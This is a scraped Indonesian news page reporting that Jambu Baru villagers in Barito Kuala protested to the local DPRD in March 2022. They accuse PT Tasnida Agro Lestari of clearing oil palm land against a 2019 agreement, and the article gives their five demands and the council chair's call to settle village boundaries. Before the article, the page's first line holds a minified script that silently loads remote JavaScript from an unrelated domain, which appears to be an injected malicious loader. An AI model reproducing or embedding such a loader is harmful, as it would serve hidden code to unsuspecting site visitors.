(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

Warga Protes ke DPRD, Perusahaan Garap Lahan Sawit di Desa Jambu Baru Batola


KANALKALIMANTAN.COM, MARABAHAN– Merasa perjanjian yang disepakati bersama PT Tasnida Agro Lestari (TAL) dilanggar, sejumlah warga Desa Jambu Baru, Kecamatan Kuripan datangi DPRD Kabupaten Barito Kuala (Batola), Kalimantan Selatan (Kalsel), Rabu (23/3/2022).

Kedatangan warga yang diwakili Kepala Desa, BPD dan sejumlah tokoh masyarakat Desa Jambu Baru ini menyampaikan adanya dugaan kembali beroperasinya PT TAL dalam pembukaan lahan perkebunan kelapa sawit di desa mereka.

Sejatinya, dalam perjanjian yang disepakati pada 5 Agustus 2019 antara PT TAL dengan masyarakat Jambu Baru, tidak ada lagi pembukaan lahan kelapa sawit di desa setempat.

Hal ini berkenaan dengan secara mutlak bahwa warga Desa Jambu Baru menolak adanya operasi atau pembukaan lahan kelapa sawit di desa mereka. Demi menjaga kelestarian lingkungan yang mereka tempati.

 

Baca juga : Pemkab Sampaikan LKPj 2021 di DPRD Batola

“Hasil rapat bersama, adanya dugaan kembali aktivitas PT TAL di desa kami di sekitar perbatasan Desa Jambu Baru Kecamatan Kuripan dengan Desa Balukung Kecamatan Bakumpai. Dengan itu kami pun sepakat untuk menyampaikan beberapa tuntutan ke DPRD Batola,” ucap Asliannoor, Kades Jambu Baru.

Sementara itu, batas antara kedua desa beda kecamatan ini juga masih belum ada kejelasan. Sehingga PT TAL berpeluang memperluas lahannya hingga merambah Desa Jambu Baru. Dari sejumlah tuntutan yang disampaikan pada audiensi ini, pertama, PT TAL menyampaikan permintaan maaf terbuka di berbagai media massa karena telah melanggar perjanjian 5 Agustus 2019 paling lambat 1 bulan.

Kedua, menuntut PT TAL melakukan pemulihan kembali terhadap lahan yang telah digarap sebagaimana perjanjian terdahulu dan lahan yang baru digarap dalam batas waktu 1 bulan. Ketiga, menuntut PT TAL tidak melakukan kegiatan dalam bentuk apapun di wilayah desa Jambu Baru selama-lamanya.

Keempat, apabila PT TAL tidak memenuhi tuntutan masyarakat selama batas waktu 1 bulan, maka masyarakat Desa Jambu Baru meminta DPRD Batola dan pemkab untuk menghentikan total aktivitas PT TAL. Kelima, meminta DPRD dan Pemkab Batola untuk membentuk Tim Penetapan dan Penegasan Batas Desa (Jambu Baru dan Balukung).

 

Baca juga : Jesalyn, Pelajar SMAN 2 Palangkaraya Kalahkan Siswa 23 Negara di Youth International Science Fair

Di akhir pertemuan bersama perwakilan warga Saleh, Ketua DPRD Batola mengatakan, perkara ini serupa dengan kejadian 2019 yang lalu tentang penolakan perkebunan kelapa sawit yang sudah selesai dengan kesepakatan bersama.

“Melihat hal ini, kami menilai perlu adanya kejelasan batas wilayah, sehingga tahu dan menjadi patokan lahan yang bisa tidak dilarang untuk digarap PT TAL,” ungkap Saleh.

Menindaklanjuti masalah ini, setelah duduk bersama dengan perwakilan Pemkab Batola dan dinas terkait, DPRD pun menyarankan untuk sesegera mungkin menyelesaikan tapal batas kedua desa.

Kemudian untuk menghindari hal-hal yang tidak diinginkan, DPRD juga meminta kepala daerah untuk menyampaikan pemberhentian sementara aktivitas PT Tasnida Agro Lestari di kawasan yang terbilang rawan tapal batas ini

“Kami menjadwalkan pertemuan dengan PT TAL pada Senin depan, terkait aduan masyarakat ini, guna menggali informasi, dengan mediator Dinas Perkebunan dan Tata Pemerintahan,” pungkas Saleh. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk


Desy Arfianty

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

12 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

15 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

18 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

20 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

21 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

22 jam ago

This website uses cookies.